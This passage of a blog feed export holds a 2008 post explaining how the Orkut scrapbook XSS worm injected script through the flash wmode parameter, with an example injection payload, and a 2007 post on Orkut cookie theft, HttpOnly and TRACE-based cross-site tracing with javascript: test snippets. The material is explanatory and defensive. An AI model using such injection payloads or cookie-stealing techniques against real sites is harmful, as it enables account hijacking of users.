/&gt;&lt;br /&gt;Please note that I am a noob as well, I might be missing some important tool or the explanation may not be that good, but this is the idea that I got after 1 week of pl&lt;span style="font-size:130%;"&gt;ay. :)&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-1673491467451447030?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/1673491467451447030/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2009/01/intel-4965-wifi-driver-ubuntu-wireless.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/1673491467451447030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/1673491467451447030'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2009/01/intel-4965-wifi-driver-ubuntu-wireless.html' title='Intel 4965 wifi driver Ubuntu wireless'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-2602923855618007529</id><published>2008-01-25T14:19:00.000+05:30</published><updated>2008-01-28T14:36:17.904+05:30</updated><title type='text'></title><content type='html'>&lt;span style="color: rgb(51, 255, 51); font-weight: bold;"&gt;Yet another XSS, yet another w0rm!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;December 18-19 2007 was like a nightmare for orkut. Some bad code was executing behind the browsers of orkut users.This is about the worm outbreak which affected more than 600000 orkut users within a night. Although the worm was relatively harmless, it just demonstrated again, how disastrous a simple flaw can become, if it concerns persistent XSS. These days you may get a lot of search results if you search for "orkut scrapbook xss", but at that time the news wasnt that widespread.It was received as a hot cake by many who were in search of a good XSS to be discovered. And the only source of information was a few hacking communities on orkut and of course the infected scrapbooks.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Well for the first time when I heard of that embedded flash XSS I was a bit perplexed, I knew few things about XSS and I didnt even know how to embed a flash object in someone's scrapbook.  When Orkut introduced the concept  of embedding flash objects in scrapbooks, i never had a look on it, may be I never knew about the possibilities of  XSS involved while embedding flash objects or simply because I wasnt interested in making flashy colorful scraps  to orkut friends. But the vulnerability wasnt a very incredible one. If you search about flash XSS in general,  you will find many good articles discussing about the common errors that can happen. And even one of these articles date back to 2003. So the concept isnt very new. Orkut embedded flash XSS vulnerability seems just to be another case.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 153, 0);"&gt; Even other social networking websites like Myspace was hit by a flash worm in 2006. But the functionality of Myspace worm was far different from this worm.&lt;br /&gt;&lt;br /&gt;The worm didnt do any harm to anyone, even if you dont know much about the technical workings of traditional viruses  and worms, still you can have an idea on how web based worms work.&lt;br /&gt;Here is the modus-operandi of the orkut worm...&lt;br /&gt;&lt;br /&gt;1.It will appear in a scrapbook as a scrap&lt;br /&gt;&lt;br /&gt;2.Normally orkut does not allow to scrap any executable code (javascript in most cases) in scrapbook. But because of the flaw in the handling of flash objects by the orkut filter, this worm code gets into your scrapbook.&lt;br /&gt;&lt;br /&gt;3.Now whoever opens that scrapbook will have that javascript code executed. The code instructs the browser (Internet Explorer or Mozilla or any other) to (1) send the same infected scrap to all the friends in the friend list and (2) to join a community "Infectados pelo Vírus do Orkut" just for the sake of counting of infected profiles.&lt;br /&gt;&lt;br /&gt;Still the simple vulnerability could have been exploited in more dangerous way by simply redirecting them to a fake orkut login page. Although this version was a harmless one.And thanks to orkut for making their cookies safe (httpOnly), otherwise  it could have a devastating effect. As I discussed in my previous article how orkut tightened the security of its  cookies by making them inaccessible to javascript.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As for the technical details, the injection of code in this case reminds me of SQL injections. When you are embedding  a flash object in the scrapbook, it is required that you paste the exact html code for embedding a flash object. Orkut handles the code in its own way and makes it appear in the scrapbook. Though I am not great at embedding flash files in html, but I know where the problem occurred. Suppose you are embedding a scrap with a flash file xss.swf on example.com. Then you will have to paste the following code in the scrapbook.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&amp;lt;embed src="http://example.com/xss.swf" type="application/x-shockwave-flash" wmode="transparent" width="10" &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;height="10"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&amp;lt;/embed&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;embed style="color: rgb(255, 255, 51);" src="http://example.com/xss.swf" type="application/x-shockwave-flash" wmode="transparent" height="10" width="10"&gt;&lt;/embed&gt;After submitting the scrap. You can view the source of scrapbook and you will find the orkut implemented code:&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt; var flashWriter = new _SWFObject('http://example.com/xss.swf', '704557008', '10', '10', '9', '#FFFFFF', 'autohigh', '', '', '704557008'); flashWriter._addParam('wmode', 'transparent'); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv704557008');&lt;/script&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&amp;lt;script type="text/javascript"&gt; var flashWriter = new _SWFObject('http://example.com/xss.swf', '704557008', '10', '10', '9', '#FFFFFF', 'autohigh', '', '', '704557008'); flashWriter._addParam('wmode', 'transparent&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;/e&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;');flashWriter._addParam('allowNetworking','internal');flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv704557008');&amp;lt;/script&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt; flashWriter = new _SWFObject('http://example.com/xss.swf', '704557008', '10', '10', '9', '#FFFFFF', 'autohigh', '', '', '704557008'); flashWriter._addParam('wmode', 'transparent'); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv704557008');&lt;/script&gt;Here it implements its own object called _SWFObject for handling flash files, and picks the parameters as the user provided. The problem occured because orkut never sanitized or may be incorrectly sanitized the input parameters that  the user was providing. It did not validate correctly the wmode parameter. As a result it became possible to inject  any javascript code if it is appended correctly to the "transparent" value&lt;br /&gt;   For example we could replace the "transparent" by "transparent');alert('xss" . So that our scrap to be posted looks like this.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&amp;lt;embed src="http://example.com/xss.swf" type="application/x-shockwave-flash" wmode="transparent'); alert('xss" width="10"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt; height="10"&gt;&amp;lt;/embed&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and after posting, in the scrapbook source it would look like this...&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;&amp;lt;script type="text/javascript"&gt; var flashWriter = new _SWFObject('http://example.com/xss.swf', '704557008', '10', '10', '9', '#FFFFFF', 'autohigh', '', '', '704557008'); flashWriter._addParam('wmode', 'transparent');alert('xss'); flashWriter._addParam('allowNetworking', 'internal'); flashWriter._addParam('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv704557008');&amp;lt;/script&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;ar flashWriter = new _SWFObject('http://example.com/xss.swf', '704557008', '10', '10', '9', '#FFFFFF', 'autohigh', '', '', '704557008'); flashWriter._addParam('wmode', 'transparent');alert('xss');flashWriter._addParam('allowNetworking','internal');flashWriter._addParam&lt;br /&gt;('allowScriptAccess', 'never'); flashWriter._setAttribute('style', ''); flashWriter._write('flashDiv704557008');&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;See the alert box looks so beautiful when embedded successfully in orkut page code.:D&lt;br /&gt;This is just an explanation of how the problem occurred and how it was exploited. If you try it now then orkut will successfully filter it out. The correction was made pretty quickly, i think it didnt took more than 2 days. As I already told you that orkut is getting smart day by day.&lt;br /&gt;      If you have a question that how can we protect ourselves from such web-based worms? Or how can we ensure that  harmful scripts dont run on our browser..then the answer is that there is no such full proof solution. One thing that I didnt mention till now is perhaps the most imporatnt thing I wanted to focus on. Despite the  widespread effect of worm and so many of my orkut friends getting infected and unknowingly joining the community "Infectados pelo Vírus do Orkut", I didnt get a single infection. Though I searched like hell on orkut and unknowingly  visited infected scrapbooks, I was still not infected. My browser doesnt allow any kind of hidden code to run on my machine without my permission.&lt;br /&gt;  Yes the lesson of the story is I used a firefox extension called Noscript.  Almost every website today uses javascript to provide greater functionality to the users. But things dont end here, a lot can happen over small code of javascript :D, as was the case of Myspace and orkut worms. Noscript is a small utility that blocks any kind of script to run without your permission. This way you can select the websites that you trust and allow only those that provide you added functionality. It helps greatly while browsing unknown sites listed by google. And believe me you will feel a lot more secure once you understand its working and the safety it offers. It also provides security against common XSS attacks and other harmful code executions. It certainly helps in blocking the most common XSS attacks, where your security can be compromised if if the site is a trusted one.&lt;br /&gt;&lt;br /&gt;         I you are interested in the exact javascript code that the virus used then you can read the article from symantec. I must say, the javascript code is heavily obfuscated. You will have to scratch your head for understanding it. And also I  have given the link for noscript firefox addon. So just install the latest version of noscript and make your firefox a lot more safer. Happy Browsing! :)&lt;br /&gt;&lt;br /&gt;Special Thanks to Mr. Nobody.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/722"&gt;https://addons.mozilla.org/en-US/firefox/addon/722&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.symantec.com/enterprise/security_response/weblog/2007/12/the_orkut_worm_has_landed.html"&gt;http://www.symantec.com/enterprise/security_response/weblog/2007/12/the_orkut_worm_has_landed.html&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-2602923855618007529?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/2602923855618007529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2008/01/yet-another-xss-yet-another-w0rm.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2602923855618007529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2602923855618007529'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2008/01/yet-another-xss-yet-another-w0rm.html' title=''/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-4406383626901694815</id><published>2007-11-26T13:38:00.000+05:30</published><updated>2008-01-08T11:27:43.468+05:30</updated><title type='text'></title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 255, 51);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Technical explanation for failure of Orkut cookie exploits&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;Why I am writing this...&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(51, 204, 0); text-align: justify;"&gt;Hi all. For the  past few days and weeks I was studying about orkut cookie exploits and the familiar javascripts which when pasted in browser steal the cookie. Although I believe orkut is safe as of now, unless someone comes up with a new technique to bypass the new security feature. I believe these tricks used to work till August 2007,even somewhere somehow near in May 2007 I found my cookie being transferred to an anonymous account on orkut.&lt;br /&gt;That sob deleted my 15 scraps. Perhaps I used some flooding script without understanding the content. I didn’t know much about cookies at that time.  Anyways these tricks dont work now. because even if you type alert(document.cookie) in your browser URL, you get some cookie values but not the admired one called orkut_state. I studied a few interesting things and thought of sharing some useful info. The basic intent is to make normal users understand the dangers of cookie stealing, how to avoid that, and what orkut is doing to prevent cookie theft.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;Yummy!!! I luv your cookie..........&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: rgb(51, 204, 0); text-align: justify;"&gt;  This is an introductory tutorial for those who dont know about cookie stealing and the science behind that and also for those who would like to know how it used to work and why it doesnt work now. Now if you dont know what  a cookie is then read the next few lines. Whenever you login into orkut with your account and password, orkut gives you a cookie which stores some information about your session. It means for all the further requests that you make to orkut you dont need to give that username/password everytime, you just send the cookie that orkut gave you in the beginning. In this way orkut keeps a track of its legitimate users. When you log out, orkut destroys  this cookie so that no one can access your account unless he/she provides your username/password and gets a new cookie valid for that session.Imagine if somehow some bad person like me gets hold of your cookie. Now I can send orkut your cookie to orkut and orkut will think its you who has requested a page and not the bad person. The result is simple to understand: even if  I dont know your username/password still I can still login into your account and do whatever shit I want to, provided that I have your cookie.&lt;br /&gt;&lt;br /&gt;A typical scenario which used to occur some time back on orkut: someone sends you a javascript and says that run this after pasting in your browser URL to see "cool effects". Never run that unless you understand Javascript and you what what exactly it is going to do. It may contain a hidden malicious code which can transfer your cookies to the attacker. This is not only for orkut but also for any other site. A more dangerous exploit was in circulation in late 2006, due to an XSS bug in orkut whose sole intent was to steal cookies, and transfer the ownership of the community.  As a result some big communities were hacked. And people used to ask, how to get their communities back.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;How to see a cookie.............&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can see the cookies of any other site by opening that site,  and typing javascript:alert(document.cookie) in the browser. The sites store some additional cookies if log in with a userid and password to track that you are an authenticated user. You can also see all the cookies stored in Internet explorer in "C:\Documents and Settings\Administrator\Cookies" and in Firefox "C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\xxxxxxx.default\cookies.txt".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;Muhahahaha....So how can I hack her account....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I know most of the evil minds must be jumping right now thinking about how to get the cookies of their girlfrnd. And girlfrnds, dump these guys if you know their malicious intents...lol...So malicious Dude..you cannot do it now as orkut has already taken care of your malicious intents. :D So now if you want to see your orkut cookie you can type "javascript:alert(document.cookie)" without quotes in the URL of your browser where orkut page is already loaded. After you hit enter you will see an alert box showing you some values. This is the information stored in your cookie.(_utma,_utmb,_utmc,_utmz,TZ) But wait, the interesting part is yet to come. What you see is not the complete cookie.&lt;br /&gt;The precious orkut_state cookie is missing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;Orkut_state ...Hmmm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Out of the six cookies on your computer stored by orkut, (_utma,_utmb,_utmc,_utmz,TZ, orkut_state) orkut_state is responsible for the identification of the user.  Well orkut_state is the cookie which is destroyed when you log out from orkut. Unfortunately this cookie remains active on the orkut server for around 14 days. That is if someone  got your orkut_state using malicious javascript or else then he/she can login in to your account on orkut. Earlier  the orkut_state cookie captured by an attacker would be stored using cookie editor in the attacker's browser (typically mozilla) and saved. After that the attacker goes for www.orkut.com/Home.aspx and voilla!! He is in&lt;br /&gt;the home of the victim.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;HttpOnly....TechnoShit!!!!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;     Orkut seems to be getting intelligent in terms of handling cookies. Now with the new security feature added, Even if you manage to run a javascript in the victim's browser you dont get orkut_state value. How this happened?? Well this is the new cookie protection of orkut for saving its innocent users from prying eyes. Although its not like orkut has stopped the use of orkut_state, if you use Firefox you can use an add-on called cookie editor. From the cookie editor  you can see all the cookies that orkut has stored on your computer. If you are logged into orkut you can see 6 cookie values (the sixth and the important one being orkut_state) in the cookie editor. So how this 6th cookie became invisible to our javascript? The answer came after understanding the headers exchanged between my browser and orkut.com when I was logging in.&lt;br /&gt;For this you will require another userful addon for Firefox called "Live http hearders". During logging in and capturing the headers, I got two useful headers where the orkut cookies can be seen. After google successful authentication you are redirected to orkut where orkut sets its own cookies.&lt;br /&gt;&lt;br /&gt;==========================================================================&lt;br /&gt;GET /RedirLogin.aspx?msg=0&amp;amp;auth=DQAAAHUAAADgfXp8G6ymWC35cNERFjIJD0ITpC9mLiofGy1ur0I6&lt;br /&gt;jkeSdIgZQR9hth2wHVecjHstHm5wUfl_g4-Gji-6MmglgCnf3fp_e1pc3GiWS4G0x1tFh5O8NGnpAdzWH&lt;br /&gt;zCJDiIEHfOCCqMDlXdT8XxIOezFc2UYQkaY-70L-l2Iqb_-ng HTTP/1.1&lt;br /&gt;Host: www.orkut.com&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 (CK-IBM) Firefox/2.0.0.9&lt;br /&gt;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;Accept-Language: en-us,en;q=0.5&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 300&lt;br /&gt;Connection: keep-alive&lt;br /&gt;Cookie: __utmb=85909575.0; __utma=85909575.458437098.1194587408.1194587408.1194587408.1; __utmz=85909575.1194587408.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=85909575.0; TZ=-330&lt;br /&gt;========================================================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Although in the previous headers surprisingly there was no orkut_state, and it became very clear why, after watching the next header.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========================================================================&lt;br /&gt;HTTP/1.x 302 Moved Temporarily&lt;br /&gt;Cache-Control: no-cache, must-revalidate, no-cache="Set-Cookie", private&lt;br /&gt;Expires: Fri, 01 Jan 1990 00:00:00 GMT&lt;br /&gt;Pragma: no-cache&lt;br /&gt;Set-Cookie: orkut_state=ORKUTPREF=ID=XXXXXXXXXXXXXXXXXXX:INF=0:SET=111236588:LNG=1:&lt;br /&gt;CNT=16:RM=0:USR=Z2VudHVpX3NvcGthQXXXXGlmZm1haWwuY29t:PHS=:TS=1145665351:&lt;br /&gt;LCL=en-US:NET=1:TOS=2147483647:GC=DQAAAHQAAABaeE29AFA9Q2Y4xxxxxLk9vbqGlpxF&lt;br /&gt;3DzzLJgCNWJGyEe_mMzOxxxxx6TK7NpktZYx6KgCsjT6Mbdoz7l-si5z23qknQOqKRQRNLyf5gpnPix&lt;br /&gt;UVrsuJlikrr2o2Gzo-XF-_atZXl9xJRpZRr_FDHZ_i8qow_HgPzhZ4vo4rfg:PE=Z2VudHVpX3NvcGthQH&lt;br /&gt;JlZGlmZm1haWwuY29t:GTI=0:GID=:VER=2:AST=1:SID=0:S=F2oSxzVWAx5wji0y75HyNYSFtq0=:; Domain=www.orkut.com; Path=/; HttpOnly&lt;br /&gt;Set-Cookie: orkut_state=; Domain=.orkut.com; Expires=Thu, 08-Nov-07 06:42:31 GMT; Path=/; HttpOnly&lt;br /&gt;Content-Type: text/html; charset=UTF-8&lt;br /&gt;Location: http://www.orkut.com/Home.aspx?&lt;br /&gt;Content-Encoding: gzip&lt;br /&gt;Content-Length: 179&lt;br /&gt;Server: GFE/1.3&lt;br /&gt;Date: Fri, 09 Nov 2007 06:42:31 GMT&lt;br /&gt;=====================================================================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The five orkut cookies are placed normally, but orkut_state is sent in a seperate header with an additional tag in the name of "HTTPOnly".As we can see the orkut_state content, in the end there is a tag attached called 'HttpOnly'. This is interesting as it wasnt there in previous cookie values. A little googling will tell you that the 'HttpOnly' tag instructs the browser to disallow javascript from accessing the content of this cookie. In fact this is a feature introduced by MicroSoft few years back in Internet Explorer 6 for protection from Cross site scripting attacks. Although there are few techniques by which you can bypass 'HttpOnly'  like requesting  the&lt;br /&gt;http headers using the TRACE method,&lt;br /&gt;(reference to http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&lt;br /&gt;by Jeremiah Grossman) the TRACE method is aqn HTTP method which is generally used for debugging purpose. If a client sends a TRACE request to a web server and the webserver supports TRACE requests, then it echoes back the header sent by the client. In a typical XSS scenario, the attacker may send a link to the user of vulnerable site,(that supports TRACE method and uses HttpOnly protection for cookies) which when clicked may send a TRACE request to the webserver and the echoed response by the webserver can be captured by the attacker. Fortunately they not possible in case of Orkut as of now for two good reasons.&lt;br /&gt;&lt;br /&gt;1.Most of the browsers like the popular ones Firefox and IE donot support TRACE for obvious security reasons.(Though it was possible earlier for IE)&lt;br /&gt;2.Orkut does not entertain a TRACE request at all.&lt;br /&gt;&lt;br /&gt;The following functions can explain this:&lt;br /&gt;For Firefox:&lt;br /&gt;&lt;br /&gt;javascript:var xll;function load(url){xll=new XMLHttpRequest();xll.open("TRACE",url,false); xll.send(null);&lt;br /&gt;var doc=xll.responseText;alert(doc);}load('http://www.orkut.com/');&lt;br /&gt;&lt;br /&gt;For IE:&lt;br /&gt;&lt;br /&gt;javascript:var xll;function load(url){xll=new ActiveXObject("Microsoft.XMLHTTP"); xll.open("TRACE",url,false);xll.send(null);var doc=xll.responseText;alert(doc);} load('http://www.orkut.com/');&lt;br /&gt;&lt;br /&gt;Its not a surprise that nothing will happen when you paste them in URL and test. Ensure that orkut is already open in the browser because no browser allows cross domain AJAX requests for obvious security reasons. After hitting enter, For IE at the bottom of page you see "Error on page" and for Firefox (If you have installed FireBug it will clearly show an exception marked read.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;"uncaught exception: [Exception... "Component returned failure code: 0x80070057&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; (NS_ERROR_ILLEGAL_VALUE) [nsIXMLHttpRequest.open]" nsresult: "0x80070057 (NS_ERROR_ILLEGAL_VALUE)" location: "JS frame :: javascript: eval(__firebugTemp__); :: anonymous :: line 1" data: no]")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You can change the TRACE with GET and see the alert box popping out the content.&lt;br /&gt;     Though this may not work with orkut but still there are many webservers which allow TRACE requests by default. And if somehow the browser can be tricked into sending the TRACE request, combined with an XSS flaw, it can have a devastating effect on the vulnerable site's  users. It just a theoretical idea, not an actual threat.&lt;br /&gt;&lt;br /&gt;     So as of now your orkut cookies seem to be safe. There were some ideas to test with the TRACE method but they werent looking much exciting. You can read the below mentioned articles which I studied. And a list of Firefox addons that are very helpful for analysing and debugging. The list is a long one and I have stated only those which  I used now.&lt;br /&gt;&lt;br /&gt;Date:23 Nov 2007&lt;br /&gt;Aditya Lad.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://www.webappsec.org/lists/websecurity/archive/2006-01/msg00056.html"&gt;http://www.webappsec.org/lists/websecurity/archive/2006-01/msg00056.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cgisecurity.com/lib/XmlHTTPRequest.shtml"&gt;http://www.cgisecurity.com/lib/XmlHTTPRequest.shtml&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST"&gt;http://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf"&gt;http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.w3schools.com/ajax/default.asp"&gt;http://www.w3schools.com/ajax/default.asp&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Useful Firefox addons:&lt;br /&gt;Cookie editor :  &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/573"&gt;https://addons.mozilla.org/en-US/firefox/addon/573&lt;/a&gt;&lt;br /&gt;Live HTTP Headers :   &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/3829"&gt;https://addons.mozilla.org/en-US/firefox/addon/3829&lt;/a&gt;&lt;br /&gt;FireBug:  &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1843"&gt;https://addons.mozilla.org/en-US/firefox/addon/1843&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-4406383626901694815?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/4406383626901694815/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2007/11/technical-explanation-for-failure-of.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/4406383626901694815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/4406383626901694815'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2007/11/technical-explanation-for-failure-of.html' title=''/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-7154991801211525911</id><published>2007-09-04T15:20:00.000+05:30</published><updated>2007-09-04T15:27:40.222+05:30</updated><title type='text'></title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;I dont want to make this blog a personal diary kinda thing...wait for some time and we ll discuss about technology..kindly save ur ass 0r u ll be kicked out of this channel...set ur egos aside and do check ur senses for any buffer overflow condition before coming to me....bo may lead to memory corruption in ur mind which may further lead to Dos kinda situation...Me and my son *nux will be ur h0st for tonite.. c'mon we ll together ride the marvels of science tonite. Happy sucking!!!!&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-7154991801211525911?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/7154991801211525911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2007/09/i-dont-want-to-make-this-blog-personal.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/7154991801211525911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/7154991801211525911'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2007/09/i-dont-want-to-make-this-blog-personal.html' title=''/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-3596254946356138799</id><published>2007-08-28T18:53:00.000+05:30</published><updated>2007-08-28T19:01:16.010+05:30</updated><title type='text'></title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_e-VL6LAQQaw/RtQjLNdSQfI/AAAAAAAAABQ/nzXxNKTs7ek/s1600-h/Screenshot-2.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://bp0.blogger.com/_e-VL6LAQQaw/RtQjLNdSQfI/AAAAAAAAABQ/nzXxNKTs7ek/s320/Screenshot-2.png" alt="" 